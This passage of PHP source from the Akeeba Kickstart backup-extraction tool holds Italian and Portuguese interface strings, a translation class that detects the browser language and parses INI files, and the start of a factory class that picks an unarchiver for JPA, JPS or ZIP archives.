  'INVALID_FILE_HEADER_MULTIPART' => 'Intestazione non valida nel file di archivio, parte %s, offset %s. Il tuo archivio di backup è composto da più file (file con lo stesso nome ed estensioni .%s, .%s01, .%4$s02…). Alcuni file potrebbero mancare, oppure sono corrotti o troncati. Avrai bisogno di tutti questi file presenti nella stessa directory. Assicurati di scaricare <em>e</em> caricare i file di archivio di backup usando SFTP, o FTP in modalità di trasferimento Binario e verifica che le loro dimensioni corrispondano a quelle riportate nella pagina Gestione Backup di Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => 'È disponibile una versione aggiornata di Akeeba Kickstart (<span id=update-version>unknown</span>)!',
  'UPDATE_NOTICE' => 'Si consiglia di utilizzare sempre l\'ultima versione disponibile di Akeeba Kickstart. Le versioni precedenti potrebbero essere soggette a bug e non saranno supportate.',
  'UPDATE_DLNOW' => 'Scarica ora',
  'UPDATE_MOREINFO' => 'Maggiori informazioni',
  'NEEDSOMEHELPKS' => 'Hai bisogno di aiuto per usare questo strumento? Leggi prima questo:',
  'QUICKSTART' => 'Guida rapida',
  'CANTGETITTOWORK' => 'Non riesci a farlo funzionare? Clicca qui!',
  'NOARCHIVESCLICKHERE' => 'Nessun archivio rilevato. Clicca qui per le istruzioni di risoluzione dei problemi.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Qualcosa non funziona dopo il ripristino? Clicca qui per le istruzioni di risoluzione dei problemi.',
  'IGNORE_MOST_ERRORS' => 'Ignora la maggior parte degli errori',
  'TIME_SETTINGS_HELP' => 'Aumenta il minimo a 3 se ricevi errori AJAX. Aumenta il massimo a 10 per un\'estrazione più veloce, riduci a 5 se ricevi errori AJAX. Prova minimo 5, massimo 1 (non è un errore di battitura!) se continui a ricevere errori AJAX.',
  'STEALTH_MODE_HELP' => 'Quando attivata, solo i visitatori dal tuo indirizzo IP potranno vedere il sito fino al completamento del ripristino. Tutti gli altri saranno reindirizzati e vedranno solo la URL sopra. Il tuo server deve vedere l\'IP reale del visitatore (questo è controllato dal tuo host, non da te o da noi).',
  'RENAME_FILES_HELP' => 'Rinomina .htaccess, web.config, php.ini e .user.ini contenuti nell\'archivio durante l\'estrazione. I file vengono rinominati con un\'estensione .bak. I nomi dei file vengono ripristinati quando clicchi su Pulisci.',
  'RESTORE_PERMISSIONS_HELP' => 'Applica le autorizzazioni dei file (ma NON la proprietà dei file) che sono state memorizzate al momento del backup. Funziona solo con archivi JPA e JPS. Non funziona su Windows (PHP non offre questa funzionalità).',
  'EXTRACT_LIST' => 'File da estrarre',
  'EXTRACT_LIST_HELP' => 'Inserisci un percorso di file come <code>images/cat.png</code> o un modello shell come <code>images/*.png</code> su ogni riga. Solo i file corrispondenti a questo elenco verranno scritti su disco. Lasciare vuoto per estrarre tutto (predefinito).',
  'AKS3_IMPORT' => 'Importa da Amazon S3',
  'AKS3_TITLE_STEP1' => 'Connetti ad Amazon S3',
  'AKS3_ACCESS' => 'Chiave di accesso',
  'AKS3_SECRET' => 'Chiave segreta',
  'AKS3_CONNECT' => 'Connetti ad Amazon S3',
  'AKS3_CANCEL' => 'Annulla importazione',
  'AKS3_TITLE_STEP2' => 'Seleziona il tuo bucket Amazon S3',
  'AKS3_BUCKET' => 'Bucket',
  'AKS3_LISTCONTENTS' => 'Elenca contenuti',
  'AKS3_TITLE_STEP3' => 'Seleziona l\'archivio da importare',
  'AKS3_FOLDERS' => 'Cartelle',
  'AKS3_FILES' => 'File di archivio',
  'AKS3_TITLE_STEP4' => 'Importazione in corso...',
  'AKS3_DO_NOT_CLOSE' => 'Non chiudere questa finestra mentre i tuoi archivi di backup vengono importati',
  'AKS3_TITLE_STEP5' => 'L\'importazione è completata',
  'AKS3_BTN_RELOAD' => 'Ricarica Kickstart',
  'WRONG_FTP_PATH2' => 'Directory iniziale FTP errata - la directory non corrisponde alla radice web del tuo sito',
  'ARCHIVE_DIRECTORY' => 'Directory degli archivi:',
  'RELOAD_ARCHIVES' => 'Ricarica',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'Browser di directory SFTP',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Impossibile aprire il file della parte dell\'archivio %s per la lettura. Verifica che il file esista, sia leggibile dal server web e non si trovi in una directory resa irraggiungibile da chroot, restrizioni open_basedir o qualsiasi altra restrizione impostata dal tuo host.',
  'RENAME_FILES' => 'Rinomina i file di configurazione del server prima dell\'estrazione',
  'BTN_SHOW_FINE_TUNE' => 'Mostra opzioni avanzate (per esperti)',
  'RESTORE_PERMISSIONS' => 'Ripristina le autorizzazioni dei file',
  'ZAPBEFORE' => 'Cancella tutto prima dell\'estrazione',
  'ZAPBEFORE_HELP' => 'Tenta di eliminare tutti i file e le cartelle esistenti sotto la directory dove è memorizzato Kickstart prima di estrarre l\'archivio di backup. NON tiene conto di quali file e cartelle esistono nell\'archivio di backup. I file e le cartelle eliminati da questa funzionalità NON possono essere recuperati. <strong>ATTENZIONE! QUESTO POTREBBE ELIMINARE FILE E CARTELLE CHE NON APPARTENGONO AL TUO SITO. USARE CON ESTREMA CAUTELA. ATTIVANDO QUESTA FUNZIONALITÀ SI ASSUME OGNI RESPONSABILITÀ E OBBLIGAZIONE.</strong>',
);

	/**
	 * Translation strings for pt-PT
	 *
	 * @var  array
	 */
	private $translation_pt_pt = array (
  'AUTOMODEON' => 'Modo automático ativado',
  'ERR_NOT_A_JPA_FILE' => 'O ficheiro não é um arquivo JPA',
  'ERR_CORRUPT_ARCHIVE' => 'O ficheiro de arquivo está corrompido, truncado ou estão faltando partes do arquivo',
  'ERR_INVALID_ARCHIVE_LONG' => 'O ficheiro de arquivo parece estar corrompido, ou estão faltando partes do arquivo. Se as suas cópias de segurança consistem em múltiplos ficheiros, por favor certifique-se de que descarregou todos os ficheiros de partes do arquivo (ficheiros com o mesmo nome e extensões .%s, .%s01, .%2$s02…). Por favor certifique-se de descarregar <em>e</em> enviar ficheiros usando SFTP, ou FTP no modo de transferência Binária e verifique que o tamanho dos ficheiros corresponde aos tamanhos reportados na página Gerir Cópias de Segurança do Akeeba Backup / Akeeba Solo.',
  'ERR_INVALID_LOGIN' => 'Login inválido',
  'COULDNT_CREATE_DIR' => 'Não foi possível criar a pasta %s',
  'COULDNT_WRITE_FILE' => 'Não foi possível abrir %s para escrita.',
  'WRONG_FTP_HOST' => 'Nome ou porta do servidor FTP incorretos',
  'WRONG_FTP_USER' => 'Nome de utilizador ou palavra-passe FTP incorretos',
  'WRONG_FTP_PATH1' => 'Diretório inicial FTP incorreto — o diretório não existe',
  'FTP_CANT_CREATE_DIR' => 'Não foi possível criar o diretório %s',
  'FTP_TEMPDIR_NOT_WRITABLE' => 'Não foi possível encontrar ou criar um diretório temporário com permissão de escrita',
  'SFTP_TEMPDIR_NOT_WRITABLE' => 'Não foi possível encontrar ou criar um diretório temporário com permissão de escrita',
  'FTP_COULDNT_UPLOAD' => 'Não foi possível enviar %s',
  'THINGS_HEADER' => 'Coisas que deve saber sobre o Akeeba Kickstart',
  'THINGS_01' => 'O Kickstart não é um instalador. É uma ferramenta de extração de arquivos. O instalador propriamente dito foi colocado dentro do ficheiro de arquivo no momento da cópia de segurança.',
  'THINGS_03' => 'O Kickstart está limitado pela configuração do seu servidor. Como tal, pode não funcionar de todo.',
  'THINGS_04' => 'Deve descarregar e enviar os seus ficheiros de arquivo usando FTP no modo de transferência Binária. Qualquer outro método poderá levar a um arquivo de cópia de segurança corrompido e falha na restauração.',
  'THINGS_05' => 'Erros ao carregar o site após a restauração são geralmente causados por diretivas do .htaccess ou php.ini. Deve entender que páginas em branco, erros 404 e 500 podem geralmente ser contornados editando os ficheiros acima mencionados. Não é a nossa função alterar os seus ficheiros de configuração, porque isso pode ser perigoso para o seu site.',
  'THINGS_06' => 'O Kickstart substitui ficheiros sem aviso. Se não tiver a certeza de que está de acordo com isso, não continue.',
  'THINGS_07' => 'Tentar restaurar para a URL temporária de um alojamento cPanel (por exemplo, http://1.2.3.4/~username) irá levar a uma falha na restauração e o seu site parecerá não estar a funcionar. Isto é normal e é assim que o seu servidor e o software CMS funcionam.',
  'THINGS_08' => 'Deve ler a documentação antes de utilizar este software. A maioria dos problemas pode ser evitada, ou facilmente contornada, compreendendo como este software funciona.',
  'THINGS_09' => 'Este texto não implica que exista um problema detetado. É um texto padrão exibido sempre que lança o Kickstart.',
  'CLOSE_LIGHTBOX' => 'Clique aqui ou prima ESC para fechar esta mensagem',
  'SELECT_ARCHIVE' => 'Selecionar um arquivo de cópia de segurança',
  'ARCHIVE_FILE' => 'Ficheiro de arquivo:',
  'SELECT_EXTRACTION' => 'Selecionar um método de extração',
  'WRITE_TO_FILES' => 'Escrever em ficheiros:',
  'WRITE_HYBRID' => 'Híbrido (usar FTP apenas se necessário)',
  'WRITE_DIRECTLY' => 'Diretamente',
  'WRITE_FTP' => 'Usar FTP para todos os ficheiros',
  'WRITE_SFTP' => 'Usar SFTP para todos os ficheiros',
  'FTP_HOST' => 'Nome do servidor (S)FTP:',
  'FTP_PORT' => 'Porta (S)FTP:',
  'FTP_FTPS' => 'Usar FTP sobre SSL (FTPS)',
  'FTP_PASSIVE' => 'Usar Modo Passivo do FTP',
  'FTP_USER' => 'Nome de utilizador (S)FTP:',
  'FTP_PASS' => 'Palavra-passe (S)FTP:',
  'FTP_DIR' => 'Diretório (S)FTP:',
  'FTP_TEMPDIR' => 'Diretório temporário:',
  'FTP_CONNECTION_OK' => 'Ligação FTP estabelecida',
  'SFTP_CONNECTION_OK' => 'Ligação SFTP estabelecida',
  'FTP_CONNECTION_FAILURE' => 'A ligação FTP falhou',
  'SFTP_CONNECTION_FAILURE' => 'A ligação SFTP falhou',
  'FTP_TEMPDIR_WRITABLE' => 'O diretório temporário tem permissão de escrita.',
  'FTP_TEMPDIR_UNWRITABLE' => 'O diretório temporário não tem permissão de escrita. Por favor verifique as permissões.',
  'FTP_BROWSE' => 'Navegar',
  'FTPBROWSER_LBL_INSTRUCTIONS' => 'Clique num diretório para navegar nele. Clique em OK para selecionar esse diretório, Cancelar para abortar o procedimento.',
  'FTPBROWSER_ERROR_HOSTNAME' => 'Nome ou porta do servidor FTP inválidos',
  'FTPBROWSER_ERROR_USERPASS' => 'Nome de utilizador ou palavra-passe FTP inválidos',
  'FTPBROWSER_ERROR_NOACCESS' => 'O diretório não existe ou não tem permissões suficientes para aceder a ele',
  'FTPBROWSER_ERROR_UNSUPPORTED' => 'Lamentamos, mas o seu servidor FTP não suporta o nosso navegador de diretórios FTP.',
  'FTPBROWSER_LBL_GOPARENT' => '&lt;subir um nível&gt;',
  'FTPBROWSER_LBL_ERROR' => 'Ocorreu um erro',
  'SFTP_NO_SSH2' => 'O seu servidor web não tem o módulo PHP SSH2, por conseguinte não consegue ligar a servidores SFTP.',
  'SFTP_NO_FTP_SUPPORT' => 'O seu servidor SSH não permite ligações SFTP',
  'SFTP_WRONG_USER' => 'Nome de utilizador ou palavra-passe SFTP incorretos',
  'SFTP_WRONG_STARTING_DIR' => 'Deve fornecer um caminho absoluto válido',
  'SFTPBROWSER_ERROR_NOACCESS' => 'O diretório não existe ou não tem permissões suficientes para aceder a ele',
  'SFTP_COULDNT_UPLOAD' => 'Não foi possível enviar %s',
  'SFTP_CANT_CREATE_DIR' => 'Não foi possível criar o diretório %s',
  'UI-ROOT' => '&lt;raiz&gt;',
  'CONFIG_UI_FTPBROWSER_TITLE' => 'Navegador de Diretórios FTP',
  'BTN_CHECK' => 'Verificar',
  'BTN_RESET' => 'Repor',
  'BTN_TESTFTPCON' => 'Testar Ligação FTP',
  'BTN_TESTSFTPCON' => 'Testar Ligação SFTP',
  'BTN_GOTOSTART' => 'Recomeçar',
  'BTN_RETRY' => 'Tentar novamente',
  'FINE_TUNE' => 'Ajuste fino',
  'MIN_EXEC_TIME' => 'Tempo mínimo de execução:',
  'MAX_EXEC_TIME' => 'Tempo máximo de execução:',
  'SECONDS_PER_STEP' => 'segundos por passo',
  'EXTRACT_FILES' => 'Extrair ficheiros',
  'BTN_START' => 'Iniciar',
  'EXTRACTING' => 'A extrair',
  'DO_NOT_CLOSE_EXTRACT' => 'Não feche esta janela enquanto a extração estiver em curso',
  'RESTACLEANUP' => 'Restauração e Limpeza',
  'BTN_RUNINSTALLER' => 'Executar o Instalador',
  'BTN_CLEANUP' => 'Limpar',
  'BTN_SITEFE' => 'Visitar a parte frontal do seu site',
  'BTN_SITEBE' => 'Visitar a parte administrativa do seu site',
  'WARNINGS' => 'Avisos de Extração',
  'ERROR_OCCURED' => 'Ocorreu um erro',
  'STEALTH_MODE' => 'Modo furtivo',
  'STEALTH_URL' => 'Ficheiro HTML a mostrar aos visitantes do site',
  'ERR_NOT_A_JPS_FILE' => 'O ficheiro não é um arquivo JPS',
  'ERR_INVALID_JPS_PASSWORD' => 'A palavra-passe que forneceu está incorreta ou o arquivo está corrompido',
  'JPS_PASSWORD' => 'Palavra-passe do Arquivo (para ficheiros JPS)',
  'INVALID_FILE_HEADER_OFFSET_ZERO' => 'Não é possível abrir o ficheiro %s para leitura. Esta é a parte nº %d do seu arquivo de cópia de segurança que consiste em múltiplos ficheiros (ficheiros com o mesmo nome e extensões .%s, .%s01, .%4$s02…). Por favor certifique-se de que tem todos estes ficheiros na mesma pasta que o Kickstart.',
  'INVALID_FILE_HEADER' => 'Cabeçalho inválido no ficheiro de arquivo, parte %s, deslocamento %s. Por favor certifique-se de descarregar <em>e</em> enviar ficheiros de arquivo de cópia de segurança usando SFTP, ou FTP no modo de transferência Binária e verifique que o tamanho dos ficheiros corresponde aos tamanhos reportados na página Gerir Cópias de Segurança do Akeeba Backup / Akeeba Solo.',
  'INVALID_FILE_HEADER_MULTIPART' => 'Cabeçalho inválido no ficheiro de arquivo, parte %s, deslocamento %s. O seu arquivo de cópia de segurança consiste em múltiplos ficheiros (ficheiros com o mesmo nome e extensões .%s, .%s01, .%4$s02…). Ou alguns ficheiros estão em falta, ou estão corrompidos ou truncados. Vai precisar de todos estes ficheiros presentes no mesmo diretório. Por favor certifique-se de descarregar <em>e</em> enviar ficheiros de arquivo de cópia de segurança usando SFTP, ou FTP no modo de transferência Binária e verifique que o tamanho dos ficheiros corresponde aos tamanhos reportados na página Gerir Cópias de Segurança do Akeeba Backup / Akeeba Solo.',
  'UPDATE_HEADER' => 'Uma versão atualizada do Akeeba Kickstart (<span id=update-version>unknown</span>) está disponível!',
  'UPDATE_NOTICE' => 'Recomenda-se que utilize sempre a versão mais recente do Akeeba Kickstart disponível. Versões mais antigas podem estar sujeitas a erros e não serão suportadas.',
  'UPDATE_DLNOW' => 'Descarregar agora',
  'UPDATE_MOREINFO' => 'Mais informações',
  'NEEDSOMEHELPKS' => 'Precisa de ajuda para utilizar esta ferramenta? Leia isto primeiro:',
  'QUICKSTART' => 'Guia de Início Rápido',
  'CANTGETITTOWORK' => 'Não consegue fazer funcionar? Clique em mim!',
  'NOARCHIVESCLICKHERE' => 'Nenhum arquivo detetado. Clique aqui para instruções de resolução de problemas.',
  'POSTRESTORATIONTROUBLESHOOTING' => 'Algo não está a funcionar após a restauração? Clique aqui para instruções de resolução de problemas.',
  'IGNORE_MOST_ERRORS' => 'Ignorar a maioria dos erros',
  'TIME_SETTINGS_HELP' => 'Aumente o mínimo para 3 se obtiver erros AJAX. Aumente o máximo para 10 para uma extração mais rápida, diminua para 5 se obtiver erros AJAX. Tente mínimo 5, máximo 1 (não é um erro!) se continuar a obter erros AJAX.',
  'STEALTH_MODE_HELP' => 'Quando ativado, apenas os visitantes do seu endereço IP poderão ver o site até a restauração ser concluída. Todos os outros serão redirecionados para a URL acima e apenas verão essa página. O seu servidor deve ver o IP real do visitante (isto é controlado pelo seu alojamento, não por si ou por nós).',
  'RENAME_FILES_HELP' => 'Alterar a designação do .htaccess, web.config, php.ini e .user.ini contidos no arquivo durante a extração. Os ficheiros são renomeados com uma extensão .bak. As designações dos ficheiros são restauradas quando clica em Limpar.',
  'RESTORE_PERMISSIONS_HELP' => 'Aplica as permissões dos ficheiros (mas NÃO a propriedade dos ficheiros) que foram guardadas no momento da cópia de segurança. Apenas funciona com arquivos JPA e JPS. Não funciona no Windows (o PHP não oferece tal funcionalidade).',
  'EXTRACT_LIST' => 'Ficheiros a extrair',
  'EXTRACT_LIST_HELP' => 'Introduza um caminho de ficheiro tal como <code>images/cat.png</code> ou um padrão de shell tal como <code>images/*.png</code> em cada linha. Apenas os ficheiros que correspondam a esta lista serão escritos no disco. Deixe vazio para extrair tudo (predefinição).',
  'AKS3_IMPORT' => 'Importar do Amazon S3',
  'AKS3_TITLE_STEP1' => 'Ligar ao Amazon S3',
  'AKS3_ACCESS' => 'Chave de Acesso',
  'AKS3_SECRET' => 'Chave Secreta',
  'AKS3_CONNECT' => 'Ligar ao Amazon S3',
  'AKS3_CANCEL' => 'Cancelar importação',
  'AKS3_TITLE_STEP2' => 'Selecionar o seu contentor do Amazon S3',
  'AKS3_BUCKET' => 'Contentor',
  'AKS3_LISTCONTENTS' => 'Listar conteúdos',
  'AKS3_TITLE_STEP3' => 'Selecionar arquivo para importar',
  'AKS3_FOLDERS' => 'Pastas',
  'AKS3_FILES' => 'Ficheiros de Arquivo',
  'AKS3_TITLE_STEP4' => 'A importar…',
  'AKS3_DO_NOT_CLOSE' => 'Por favor não feche esta janela enquanto os seus arquivos de cópia de segurança estão a ser importados',
  'AKS3_TITLE_STEP5' => 'A importação está concluída',
  'AKS3_BTN_RELOAD' => 'Recarregar o Kickstart',
  'WRONG_FTP_PATH2' => 'Diretório inicial FTP incorreto — o diretório não corresponde à raiz web do seu site',
  'ARCHIVE_DIRECTORY' => 'Diretório de arquivos:',
  'RELOAD_ARCHIVES' => 'Recarregar',
  'CONFIG_UI_SFTPBROWSER_TITLE' => 'Navegador de Diretórios SFTP',
  'ERR_COULD_NOT_OPEN_ARCHIVE_PART' => 'Não foi possível abrir o ficheiro de parte do arquivo %s para leitura. Verifique que o ficheiro existe, é legível pelo servidor web e não se encontra num diretório inacessível devido a restrições de chroot, open_basedir ou qualquer outra restrição implementada pelo seu alojamento.',
  'RENAME_FILES' => 'Renomear ficheiros de configuração do servidor antes da extração',
  'BTN_SHOW_FINE_TUNE' => 'Mostrar opções avançadas (para especialistas)',
  'RESTORE_PERMISSIONS' => 'Restaurar permissões dos ficheiros',
  'ZAPBEFORE' => 'Eliminar tudo antes da extração',
  'ZAPBEFORE_HELP' => 'Tenta eliminar todos os ficheiros e pastas existentes sob o diretório onde o Kickstart se encontra antes de extrair o arquivo de cópia de segurança. NÃO tem em conta quais ficheiros e pastas existem no arquivo de cópia de segurança. Ficheiros e pastas eliminados por esta funcionalidade NÃO podem ser recuperados. <strong>AVISO! ISTO PODE ELIMINAR FICHEIROS E PASTAS QUE NÃO PERTENCEM AO SEU SITE. UTILIZAR COM EXTREMA CAUTELA. AO ATIVAR ESTA FUNCIONALIDADE ASSUME TODA A RESPONSABILIDADE.</strong>',
);


	/** END OF ARRAY — DO NOT EDIT OR REMOVE **/
	private $strings;

	/**
	 * The currently detected language (ISO code)
	 *
	 * @var string
	 */
	private $language;

	/*
	 * Initializes the translation engine
	 *
	 * Loading order:
	 * 1. Built-in en-GB default strings
	 * 2. Built-in translation matching the browser's preferred language (if any)
	 * 3. External INI translation files via loadTranslationFile()
	 *
	 * @return AKText
	 */
	public function __construct()
	{
		// Step 1: Start with the default en-GB translation
		$this->strings = $this->default_translation;

		// Step 2: Try loading the en-GB INI file, if it exists
		$this->loadTranslationFile('en-GB');

		// Step 3: Get browser language preferences and match against built-in translations
		$browserLanguages = $this->getBrowserLanguage();

		foreach ($browserLanguages as $langStruct)
		{
			$fullLang = $langStruct[0];
			$baseLang = $langStruct[1];

			if (empty($fullLang))
			{
				continue;
			}

			$varName = 'translation_' . strtolower(str_replace('-', '_', $fullLang));

			// Try exact match first (e.g. fr-FR)
			if (isset($this->$varName))
			{
				$this->strings = array_merge($this->strings, $this->$varName);
				$this->language = $fullLang;
				break;
			}

			// Try base language match (e.g. fr from fr-CH)
			$baseVarName = 'translation_' . strtolower($baseLang);
			if (isset($this->$baseVarName))
			{
				$this->strings = array_merge($this->strings, $this->$baseVarName);
				$this->language = $baseLang;
				break;
			}

			// Try base language prefix scan (e.g. bare 'el' matches translation_el_gr)
			$prefix = 'translation_' . strtolower($baseLang) . '_';
			$found  = null;
			foreach (get_object_vars($this) as $propName => $propValue)
			{
				if (strpos($propName, $prefix) === 0 && is_array($propValue))
				{
					$found = [$propName, $propValue];
					break;
				}
			}

			if ($found !== null)
			{
				[$propName, $propValue] = $found;
				$this->strings  = array_merge($this->strings, $propValue);
				$localeSuffix   = substr($propName, strlen('translation_'));
				$underscorePos  = strpos($localeSuffix, '_');
				$this->language = substr($localeSuffix, 0, $underscorePos) . '-' . strtoupper(substr($localeSuffix, $underscorePos + 1));
				break;
			}
		}

		// Step 4: Load external INI translation files
		$this->loadTranslationFile();
	}

	/**
	 * A PHP based INI file parser.
	 *
	 * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on
	 * the parse_ini_file page on http://gr.php.net/parse_ini_file
	 *
	 * @param   string  $file              Filename to process
	 * @param   bool    $process_sections  True to also process INI sections
	 * @param   bool    $rawdata           If true, the $file contains raw INI data, not a filename
	 *
	 * @return array An associative array of sections, keys and values
	 * @access private
	 */
	public static function parse_ini_file($file, $process_sections = false, $rawdata = false)
	{
		$process_sections = ($process_sections !== true) ? false : true;

		if (!$rawdata)
		{
			$ini = file($file);
		}
		else
		{
			$file = str_replace("\r", "", $file);
			$ini  = explode("\n", $file);
		}

		if (!is_array($ini))
		{
			return [];
		}

		if (count($ini) == 0)
		{
			return [];
		}

		$sections = [];
		$values   = [];
		$result   = [];
		$globals  = [];
		$i        = 0;
		foreach ($ini as $line)
		{
			$line = trim($line);
			$line = str_replace("\t", " ", $line);

			// Comments
			if (!preg_match('/^[a-zA-Z0-9[]/', $line))
			{
				continue;
			}

			// Sections
			if ($line[0] == '[')
			{
				$tmp        = explode(']', $line);
				$sections[] = trim(substr($tmp[0], 1));
				$i++;
				continue;
			}

			// Key-value pair
			$lineParts = explode('=', $line, 2);
			if (count($lineParts) != 2)
			{
				continue;
			}
			$key   = trim($lineParts[0]);
			$value = trim($lineParts[1]);
			unset($lineParts);

			if (strstr($value, ";"))
			{
				$tmp = explode(';', $value);
				if (count($tmp) == 2)
				{
					if ((($value[0] != '"') && ($value[0] != "'")) ||
						preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) ||
						preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value)
					)
					{
						$value = $tmp[0];
					}
				}
				else
				{
					if ($value[0] == '"')
					{
						$value = preg_replace('/^"(.*)".*/', '$1', $value);
					}
					elseif ($value[0] == "'")
					{
						$value = preg_replace("/^'(.*)'.*/", '$1', $value);
					}
					else
					{
						$value = $tmp[0];
					}
				}
			}
			$value = trim($value);
			$value = trim($value, "'\"");

			if ($i == 0)
			{
				if (substr($line, -1, 2) == '[]')
				{
					$globals[$key][] = $value;
				}
				else
				{
					$globals[$key] = $value;
				}
			}
			else
			{
				if (substr($line, -1, 2) == '[]')
				{
					$values[$i - 1][$key][] = $value;
				}
				else
				{
					$values[$i - 1][$key] = $value;
				}
			}
		}

		for ($j = 0; $j < $i; $j++)
		{
			if ($process_sections === true)
			{
				if (isset($sections[$j]) && isset($values[$j]))
				{
					$result[$sections[$j]] = $values[$j];
				}
			}
			else
			{
				if (isset($values[$j]))
				{
					$result[] = $values[$j];
				}
			}
		}

		return $result + $globals;
	}

	public static function sprintf($key)
	{
		$text = self::getInstance();
		$args = func_get_args();
		if (count($args) > 0)
		{
			$args[0] = $text->_($args[0]);

			return @call_user_func_array('sprintf', $args);
		}

		return '';
	}

	/**
	 * Singleton pattern for Language
	 *
	 * @return AKText The global AKText instance
	 */
	public static function &getInstance()
	{
		static $instance;

		if (!is_object($instance))
		{
			$instance = new AKText();
		}

		return $instance;
	}

	public static function _($string)
	{
		$text = self::getInstance();

		$key = strtoupper($string);
		$key = substr($key, 0, 1) == '_' ? substr($key, 1) : $key;

		if (isset ($text->strings[$key]))
		{
			$string = $text->strings[$key];
		}
		else
		{
			if (defined($string))
			{
				$string = constant($string);
			}
		}

		return $string;
	}

	/**
	 * Returns an array of the browser's preferred languages.
	 *
	 * Each entry is an array with two elements:
	 * [0] Full language tag (e.g. "fr-fr", "de-de")
	 * [1] Base language code (e.g. "fr", "de")
	 *
	 * Detection code derived from Full Operating System Language Detection by Harald Hope
	 * Retrieved from http://techpatterns.com/downloads/php_language_detection.php
	 *
	 * @return  array  List of language preference structs
	 */
	public function getBrowserLanguage()
	{
		$user_languages = [];

		if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]))
		{
			$languages = strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
			$languages = str_replace(' ', '', $languages);
			$languages = explode(",", $languages);

			foreach ($languages as $language_list)
			{
				$temp_array = [];
				$temp_array[0] = substr($language_list, 0, strcspn($language_list, ';'));
				$temp_array[1] = substr($language_list, 0, 2);

				if ((strlen($temp_array[0]) == 5) && ((substr($temp_array[0], 2, 1) == '-') || (substr($temp_array[0], 2, 1) == '_')))
				{
					$langLocation  = strtoupper(substr($temp_array[0], 3, 2));
					$temp_array[0] = $temp_array[1] . '-' . $langLocation;
				}

				$user_languages[] = $temp_array;
			}
		}

		if (empty($user_languages))
		{
			$user_languages[0] = ['', ''];
		}

		return $user_languages;
	}

	/**
	 * Loads an external INI translation file for the given language.
	 *
	 * If $lang is null, loads the INI file for the currently detected language ($this->language).
	 * The INI file is searched for in KSLANGDIR (if defined) or KSROOTDIR.
	 *
	 * @param   string  $lang  Language tag (e.g. "en-GB", "fr-FR"). Null to use $this->language.
	 *
	 * @return  void
	 */
	public function loadTranslationFile($lang = null)
	{
		if (defined('KSLANGDIR'))
		{
			$dirname = KSLANGDIR;
		}
		else
		{
			$dirname = KSROOTDIR;
		}

		$myName   = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$basename = basename($myName, '.php') . '.ini';

		if (empty($lang))
		{
			$lang = $this->language;
		}

		if (empty($lang))
		{
			return;
		}

		$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;

		if (!@file_exists($translationFilename) && ($basename != 'kickstart.ini'))
		{
			$basename            = 'kickstart.ini';
			$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;
		}

		if (!@file_exists($translationFilename))
		{
			return;
		}

		$temp = self::parse_ini_file($translationFilename, false);

		if (!is_array($this->strings))
		{
			$this->strings = [];
		}

		if (empty($temp))
		{
			$this->strings = array_merge($this->default_translation, $this->strings);
		}
		else
		{
			$this->strings = array_merge($this->strings, $temp);
		}
	}

	/**
	 * @deprecated  Use loadTranslationFile() instead. Kept for backward compatibility.
	 *
	 * @param   string  $lang  Language tag. Null to use $this->language.
	 *
	 * @return  void
	 */
	private function loadTranslation($lang = null)
	{
		$this->loadTranslationFile($lang);
	}

	public function dumpLanguage()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$out .= "$key=$value\n";
		}

		return $out;
	}

	public function asJavascript()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$key   = addcslashes($key, '\\\'"');
			$value = addcslashes($value, '\\\'"');
			if (!empty($out))
			{
				$out .= ",\n";
			}
			$out .= "'$key':\t'$value'";
		}

		return $out;
	}

	public function resetTranslation()
	{
		$this->strings = $this->default_translation;
	}

	public function addDefaultLanguageStrings($stringList = [])
	{
		if (!is_array($stringList))
		{
			return;
		}
		if (empty($stringList))
		{
			return;
		}

		$this->strings = array_merge($stringList, $this->strings);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2025 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The Akeeba Kickstart Factory class
 *
 * This class is reponssible for instantiating all Akeeba Kickstart classes
 */
class AKFactory
{
	/** @var   array  A list of instantiated objects */
	private $objectlist = [];

	/** @var   array  Simple hash data storage */
	private $varlist = [];

	/** @var   self   Static instance */
	private static $instance = null;

	/**
	 * AKFactory constructor.
	 *
	 * This is a private constructor makes sure we can't instantiate the class unless we go through the static
	 * getInstance singleton method. This is different than making the class abstract (preventing any kind of object
	 * instantiation).
	 */
	private function __construct()
	{
	}

	/**
	 * Gets a serialized snapshot of the Factory for safekeeping (hibernate)
	 *
	 * @return string The serialized snapshot of the Factory
	 */
	public static function serialize()
	{
		$engine = self::getUnarchiver();
		$engine->shutdown();
		$serialized = serialize(self::getInstance());

		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized = base64_encode($serialized);
		}

		return $serialized;
	}

	/**
	 * Gets the unarchiver engine
	 *
	 * @return AKAbstractUnarchiver
	 */
	public static function &getUnarchiver($configOverride = null)
	{
		static $class_name;

		if (!empty($configOverride) && isset($configOverride['reset']) && $configOverride['reset'])
		{
			$class_name = null;
		}

		if (empty($class_name))
		{
			$filetype = self::get('kickstart.setup.filetype', null);

			if (empty($filetype))
			{
				$filename      = self::get('kickstart.setup.sourcefile', null);
				$basename      = basename($filename);
				$baseextension = strtoupper(substr($basename, -3));

				switch ($baseextension)
				{
					case 'JPA':
						$filetype = 'JPA';
						break;

					case 'JPS':
						$filetype = 'JPS';
						break;

					case 'ZIP':
						$filetype = 'ZIP';
						break;

					default:
						die('Invalid archive type or extension in file ' . $filename);
						break;
				}
			}

			$class_name = 'AKUnarchiver' . ucfirst($filetype);
		}

		$destdir = self::get('kickstart.setup.destdir', null);

		if (empty($destdir))
		{
			$destdir = KSROOTDIR;
		}

